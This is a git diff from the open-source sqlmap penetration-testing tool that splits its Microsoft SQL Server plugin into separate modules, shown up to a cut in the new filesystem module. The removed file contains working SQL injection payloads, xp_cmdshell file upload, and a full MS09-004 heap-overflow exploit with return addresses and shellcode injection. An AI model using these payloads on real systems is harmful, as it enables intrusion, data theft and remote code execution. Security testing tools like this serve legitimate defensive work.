diff --git a/plugins/dbms/access.py b/plugins/dbms/access/__init__.py similarity index 100% rename from plugins/dbms/access.py rename to plugins/dbms/access/__init__.py diff --git a/plugins/dbms/firebird.py b/plugins/dbms/firebird/__init__.py similarity index 100% rename from plugins/dbms/firebird.py rename to plugins/dbms/firebird/__init__.py diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py deleted file mode 100644 index 40caf1869..000000000 --- a/plugins/dbms/mssqlserver.py +++ /dev/null @@ -1,694 +0,0 @@ -#!/usr/bin/env python - -""" -$Id$ - -This file is part of the sqlmap project, http://sqlmap.sourceforge.net. - -Copyright (c) 2007-2010 Bernardo Damele A. G. -Copyright (c) 2006 Daniele Bellucci - -sqlmap is free software; you can redistribute it and/or modify it under -the terms of the GNU General Public License as published by the Free -Software Foundation version 2 of the License. - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -You should have received a copy of the GNU General Public License along -with sqlmap; if not, write to the Free Software Foundation, Inc., 51 -Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import binascii -import os -import time - -from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getHtmlErrorFp -from lib.core.common import getRange -from lib.core.common import posixToNtSlashes -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.convert import urlencode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import queries -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.session import setDbms -from lib.core.settings import MSSQL_ALIASES -from lib.core.settings import MSSQL_SYSTEM_DBS -from lib.core.unescaper import unescaper -from lib.request import inject -from lib.request.connect import Connect as Request - -from plugins.generic.enumeration import Enumeration -from plugins.generic.filesystem import Filesystem -from plugins.generic.fingerprint import Fingerprint -from plugins.generic.misc import Miscellaneous -from plugins.generic.takeover import Takeover - - -class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): - """ - This class defines Microsoft SQL Server methods - """ - - def __init__(self): - self.excludeDbsList = MSSQL_SYSTEM_DBS - - Enumeration.__init__(self, "Microsoft SQL Server") - Filesystem.__init__(self) - Takeover.__init__(self) - - unescaper.setUnescape(MSSQLServerMap.unescape) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - #unescaped = "(" - unescaped = "" - - for i in range(firstIndex, lastIndex): - unescaped += "CHAR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "+" - - #unescaped += ")" - expression = expression.replace(old, unescaped) - else: - expression = "+".join("CHAR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") - oldUpper = oldUpper.split("+") - - escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) - expression = expression.replace(old, escaped) - - return expression - - def getFingerprint(self): - value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) - - if wsOsFp: - value += "%s\n" % wsOsFp - - if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) - - if dbmsOsFp: - value += "%s\n" % dbmsOsFp - - value += "back-end DBMS: " - actVer = formatDBMSfp() - - if not conf.extensiveFp: - value += actVer - return value - - blank = " " * 15 - value += "active fingerprint: %s" % actVer - - if kb.bannerFp: - release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None - version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None - - if release and version and servicepack: - banVer = "Microsoft SQL Server %s " % release - banVer += "Service Pack %s " % servicepack - banVer += "version %s" % version - - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - - htmlErrorFp = getHtmlErrorFp() - - if htmlErrorFp: - value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - - return value - - def checkDbms(self): - if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): - setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) - - self.getBanner() - - if not conf.extensiveFp: - kb.os = "Windows" - - return True - - infoMsg = "testing Microsoft SQL Server" - logger.info(infoMsg) - - payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") - result = Request.queryPage(payload) - - if result: - infoMsg = "confirming Microsoft SQL Server" - logger.info(infoMsg) - - for version in (0, 5, 8): - randInt = randomInt() - query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) - payload = agent.fullPayload(query) - result = Request.queryPage(payload) - - if result: - if version == 8: - kb.dbmsVersion = ["2008"] - - break - - elif version == 5: - kb.dbmsVersion = ["2005"] - - break - - elif version == 0: - kb.dbmsVersion = ["2000"] - - break - - else: - query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) - payload = agent.fullPayload(query) - result = Request.queryPage(payload) - - if result: - kb.dbmsVersion = ["7.0"] - - break - - if kb.dbmsVersion: - setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) - else: - setDbms("Microsoft SQL Server") - - self.getBanner() - - kb.os = "Windows" - - return True - else: - warnMsg = "the back-end DMBS is not Microsoft SQL Server" - logger.warn(warnMsg) - - return False - - def checkDbmsOs(self, detailed=False): - if kb.os and kb.osVersion and kb.osSP: - return - - if not kb.os: - kb.os = "Windows" - - if not detailed: - return - - infoMsg = "fingerprinting the back-end DBMS operating system " - infoMsg += "version and service pack" - logger.info(infoMsg) - - infoMsg = "the back-end DBMS operating system is %s" % kb.os - - self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") - inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - - versions = {"2003": ("5.2", (2, 1)), - #"2003": ("6.0", (2, 1)), - "2008": ("7.0", (1,)), - "2000": ("5.0", (4, 3, 2, 1)), - "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1))} - - # Get back-end DBMS underlying operating system version - for version, data in versions.items(): - query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Windows NT " + data[0] + "%')>0" - query = agent.forgeCaseStatement(query) - - if inject.getValue(query, charsetType=1) == "1": - kb.osVersion = version - infoMsg += " %s" % kb.osVersion - - break - - if not kb.osVersion: - kb.osVersion = "2003" - kb.osSP = 2 - - warnMsg = "unable to fingerprint the underlying operating " - warnMsg += "system version, assuming it is Windows " - warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) - logger.warn(warnMsg) - - self.cleanup(onlyFileTbl=True) - - return - - # Get back-end DBMS underlying operating system service pack - sps = versions[kb.osVersion][1] - - for sp in sps: - query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Service Pack " + str(sp) + "%')>0" - query = agent.forgeCaseStatement(query) - - if inject.getValue(query, charsetType=1) == "1": - kb.osSP = sp - break - - if not kb.osSP: - debugMsg = "assuming the operating system has no service pack" - logger.debug(debugMsg) - - kb.osSP = 0 - - if kb.osVersion: - infoMsg += " Service Pack %d" % kb.osSP - - logger.info(infoMsg) - - self.cleanup(onlyFileTbl=True) - - def getPrivileges(self): - warnMsg = "on Microsoft SQL Server it is not possible to fetch " - warnMsg += "database users privileges" - logger.warn(warnMsg) - - return {} - - def getTables(self): - infoMsg = "fetching tables" - if conf.db: - infoMsg += " for database '%s'" % conf.db - logger.info(infoMsg) - - rootQuery = queries[kb.dbms].tables - - if not conf.db: - if not len(kb.data.cachedDbs): - dbs = self.getDbs() - else: - dbs = kb.data.cachedDbs - else: - if "," in conf.db: - dbs = conf.db.split(",") - else: - dbs = [conf.db] - - if kb.unionPosition: - for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: - infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) - - continue - - query = rootQuery["inband"]["query"] % db - value = inject.getValue(query, blind=False) - - if value: - kb.data.cachedTables[db] = value - - if not kb.data.cachedTables: - for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: - infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) - - continue - - infoMsg = "fetching number of tables for " - infoMsg += "database '%s'" % db - logger.info(infoMsg) - - query = rootQuery["blind"]["count"] % db - count = inject.getValue(query, inband=False, charsetType=2) - - if not count.isdigit() or not len(count) or count == "0": - warnMsg = "unable to retrieve the number of " - warnMsg += "tables for database '%s'" % db - logger.warn(warnMsg) - continue - - tables = [] - - for index in range(int(count)): - query = rootQuery["blind"]["query"] % (db, index, db) - table = inject.getValue(query, inband=False) - tables.append(table) - - if tables: - kb.data.cachedTables[db] = tables - else: - warnMsg = "unable to retrieve the tables " - warnMsg += "for database '%s'" % db - logger.warn(warnMsg) - - if not kb.data.cachedTables: - errMsg = "unable to retrieve the tables for any database" - raise sqlmapNoneDataException(errMsg) - - return kb.data.cachedTables - - def unionReadFile(self, rFile): - errMsg = "Microsoft SQL Server does not support file reading " - errMsg += "with UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException(errMsg) - - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) - - result = [] - txtTbl = self.fileTblName - hexTbl = "%shex" % self.fileTblName - - self.createSupportTbl(txtTbl, self.tblField, "text") - inject.goStacked("DROP TABLE %s" % hexTbl) - inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) - - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) - - # Reference: http://support.microsoft.com/kb/104829 - binToHexQuery = """ - DECLARE @charset VARCHAR(16) - DECLARE @counter INT - DECLARE @hexstr VARCHAR(4096) - DECLARE @length INT - DECLARE @chunk INT - - SET @charset = '0123456789ABCDEF' - SET @counter = 1 - SET @hexstr = '' - SET @length = (SELECT DATALENGTH(%s) FROM %s) - SET @chunk = 1024 - - WHILE (@counter <= @length) - BEGIN - DECLARE @tempint INT - DECLARE @firstint INT - DECLARE @secondint INT - - SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) - SET @firstint = floor(@tempint/16) - SET @secondint = @tempint - (@firstint * 16) - SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) - - SET @counter = @counter + 1 - - IF @counter %% @chunk = 0 - BEGIN - INSERT INTO %s(%s) VALUES(@hexstr) - SET @hexstr = '' - END - END - - IF @counter %% (@chunk) != 0 - BEGIN - INSERT INTO %s(%s) VALUES(@hexstr) - END - """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) - - binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") - binToHexQuery = urlencode(binToHexQuery, convall=True) - inject.goStacked(binToHexQuery) - - if kb.unionPosition: - result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False) - - if not result: - result = [] - count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) - - if not count.isdigit() or not len(count) or count == "0": - errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException(errMsg) - - indexRange = getRange(count) - - for index in indexRange: - chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) - result.append(chunk) - - inject.goStacked("DROP TABLE %s" % hexTbl) - - return result - - def unionWriteFile(self, wFile, dFile, fileType, confirm=True): - errMsg = "Microsoft SQL Server does not support file upload with " - errMsg += "UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException(errMsg) - - def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): - # NOTE: this is needed here because we use xp_cmdshell extended - # procedure to write a file on the back-end Microsoft SQL Server - # file system. Maybe it won't be required to write text files - self.initEnv() - - self.getRemoteTempPath() - - debugMsg = "going to use xp_cmdshell extended procedure to write " - debugMsg += "the %s file content to file '%s'" % (fileType, dFile) - logger.debug(debugMsg) - - debugSize = 0xFF00 - tmpPath = posixToNtSlashes(conf.tmpPath) - dFileName = os.path.split(dFile)[1] - dFile = posixToNtSlashes(dFile) - wFileSize = os.path.getsize(wFile) - wFilePointer = open(wFile, "rb") - wFileContent = wFilePointer.read() - wFilePointer.close() - - if wFileSize < debugSize: - chunkName = self.updateBinChunk(wFileContent, tmpPath) - sFile = "%s\%s" % (tmpPath, dFileName) - - logger.debug("moving binary file %s to %s" % (sFile, dFile)) - - commands = ("cd %s" % tmpPath, - "ren %s %s" % (chunkName, dFileName), - "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) - forgedCmd = self.xpCmdshellForgeCmd(complComm) - - self.execCmd(forgedCmd) - - else: - infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) - infoMsg += "bytes. sqlmap will split it into chunks, upload " - infoMsg += "them and recreate the original file out of the " - infoMsg += "binary chunks server-side, wait.." - logger.info(infoMsg) - - counter = 1 - - for i in range(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i + debugSize] - chunkName = self.updateBinChunk(wFileChunk, tmpPath) - - if i == 0: - infoMsg = "renaming chunk " - copyCmd = "ren %s %s" % (chunkName, dFileName) - else: - infoMsg = "appending chunk " - copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) - - infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) - logger.debug(infoMsg) - - commands = ("cd %s" % tmpPath, - copyCmd, - "del /F %s" % chunkName) - complComm = " & ".join(command for command in commands) - forgedCmd = self.xpCmdshellForgeCmd(complComm) - - self.execCmd(forgedCmd) - - logger.info("file chunk %d written" % counter) - - counter += 1 - - sFile = "%s\%s" % (tmpPath, dFileName) - - logger.debug("moving binary file %s to %s" % (sFile, dFile)) - - commands = ("cd %s" % tmpPath, - "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) - forgedCmd = self.xpCmdshellForgeCmd(complComm) - - self.execCmd(forgedCmd) - - if confirm: - self.askCheckWrittenFile(wFile, dFile, fileType) - - def uncPathRequest(self): - #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) - inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) - - def spHeapOverflow(self): - """ - References: - * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx - * http://support.microsoft.com/kb/959420 - """ - - returns = { - # 2003 Service Pack 0 - "2003-0": (""), - - # 2003 Service Pack 1 - "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), - - # 2003 Service Pack 2 updated at 12/2008 - #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), - - # 2003 Service Pack 2 updated at 05/2009 - "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)") - - # 2003 Service Pack 2 updated at 09/2009 - #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), - } - addrs = None - - for versionSp, data in returns.items(): - version, sp = versionSp.split("-") - sp = int(sp) - - if kb.osVersion == version and kb.osSP == sp: - addrs = data - - break - - if addrs is None: - errMsg = "sqlmap can not exploit the stored procedure buffer " - errMsg += "overflow because it does not have a valid return " - errMsg += "code for the underlying operating system (Windows " - errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) - raise sqlmapUnsupportedFeatureException(errMsg) - - shellcodeChar = "" - hexStr = binascii.hexlify(self.shellcodeString[:-1]) - - for hexPair in range(0, len(hexStr), 2): - shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] - - shellcodeChar = shellcodeChar[:-1] - - self.spExploit = """ - DECLARE @buf NVARCHAR(4000), - @val NVARCHAR(4), - @counter INT - SET @buf = ' - DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int - EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' - SET @val = CHAR(0x41) - SET @counter = 0 - WHILE @counter < 3320 - BEGIN - SET @counter = @counter + 1 - IF @counter = 411 - BEGIN - /* pointer to call [ecx+8] */ - SET @buf = @buf + %s - - /* push ebp, pop esp, ret 4 */ - SET @buf = @buf + %s - - /* push ecx, pop esp, pop ebp, retn 8 */ - SET @buf = @buf + %s - - /* Garbage */ - SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) - - /* retn 1c */ - SET @buf = @buf + %s - - /* retn 1c */ - SET @buf = @buf + %s - - /* anti DEP */ - SET @buf = @buf + %s - - /* jmp esp */ - SET @buf = @buf + %s - - /* jmp esp */ - SET @buf = @buf + %s - - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - - set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) - set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) - set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) - - /* Metasploit shellcode */ - SET @buf = @buf + %s - - SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) - SET @counter = @counter + 302 - SET @val = CHAR(0x43) - CONTINUE - END - SET @buf = @buf + @val - END - SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' - EXEC master..sp_executesql @buf - """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) - - self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") - self.spExploit = urlencode(self.spExploit, convall=True) - - logger.info("triggering the buffer overflow vulnerability, wait..") - inject.goStacked(self.spExploit, silent=True) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py new file mode 100644 index 000000000..e31562be2 --- /dev/null +++ b/plugins/dbms/mssqlserver/__init__.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.settings import MSSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mssqlserver.enumeration import Enumeration +from plugins.dbms.mssqlserver.filesystem import Filesystem +from plugins.dbms.mssqlserver.fingerprint import Fingerprint +from plugins.dbms.mssqlserver.syntax import Syntax +from plugins.dbms.mssqlserver.takeover import Takeover +from plugins.generic.misc import Miscellaneous + + +class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Microsoft SQL Server methods + """ + + def __init__(self): + self.excludeDbsList = MSSQL_SYSTEM_DBS + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(MSSQLServerMap.unescape) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py new file mode 100644 index 000000000..f6c1f26aa --- /dev/null +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.exception import sqlmapNoneDataException +from lib.request import inject + +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self, "Microsoft SQL Server") + + def getPrivileges(self): + warnMsg = "on Microsoft SQL Server it is not possible to fetch " + warnMsg += "database users privileges" + logger.warn(warnMsg) + + return {} + + def getTables(self): + infoMsg = "fetching tables" + if conf.db: + infoMsg += " for database '%s'" % conf.db + logger.info(infoMsg) + + rootQuery = queries[kb.dbms].tables + + if not conf.db: + if not len(kb.data.cachedDbs): + dbs = self.getDbs() + else: + dbs = kb.data.cachedDbs + else: + if "," in conf.db: + dbs = conf.db.split(",") + else: + dbs = [conf.db] + + if kb.unionPosition: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + infoMsg = "skipping system database '%s'" % db + logger.info(infoMsg) + + continue + + query = rootQuery["inband"]["query"] % db + value = inject.getValue(query, blind=False) + + if value: + kb.data.cachedTables[db] = value + + if not kb.data.cachedTables: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + infoMsg = "skipping system database '%s'" % db + logger.info(infoMsg) + + continue + + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % db + logger.info(infoMsg) + + query = rootQuery["blind"]["count"] % db + count = inject.getValue(query, inband=False, charsetType=2) + + if not count.isdigit() or not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % db + logger.warn(warnMsg) + continue + + tables = [] + + for index in range(int(count)): + query = rootQuery["blind"]["query"] % (db, index, db) + table = inject.getValue(query, inband=False) + tables.append(table) + + if tables: + kb.data.cachedTables[db] = tables + else: + warnMsg = "unable to retrieve the tables " + warnMsg += "for database '%s'" % db + logger.warn(warnMsg) + + if not kb.data.cachedTables: + errMsg = "unable to retrieve the tables for any database" + raise sqlmapNoneDataException(errMsg) + + return kb.data.cachedTables diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py new file mode 100644 index 000000000..147d73c63 --- /dev/null +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -0,0 +1,217 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import os + +from lib.core.common import getRange +from lib.core.common import posixToNtSlashes +from lib.core.common import randomStr +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + GenericFilesystem.__init__(self) + + def unionReadFile(self, rFile): + errMsg = "Microsoft SQL Server does not support file reading " + errMsg += "with UNION query SQL injection technique" + raise sqlmapUnsupportedFeatureException(errMsg) + + def stackedReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + result = [] + txtTbl = self.fileTblName + hexTbl = "%shex" % self.fileTblName + + self.createSupportTbl(txtTbl, self.tblField, "text") + inject.goStacked("DROP TABLE %s" % hexTbl) + inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) + + logger.debug("loading the content of file '%s' into support table" % rFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + + # Reference: http://support.microsoft.com/kb/104829 + binToHexQuery = """ + DECLARE @charset VARCHAR(16) + DECLARE @counter INT + DECLARE @hexstr VARCHAR(4096) + DECLARE @length INT + DECLARE @chunk INT + + SET @charset = '0123456789ABCDEF' + SET @counter = 1 + SET @hexstr = '' + SET @length = (SELECT DATALENGTH(%s) FROM %s) + SET @chunk = 1024 + + WHILE (@counter <= @length) + 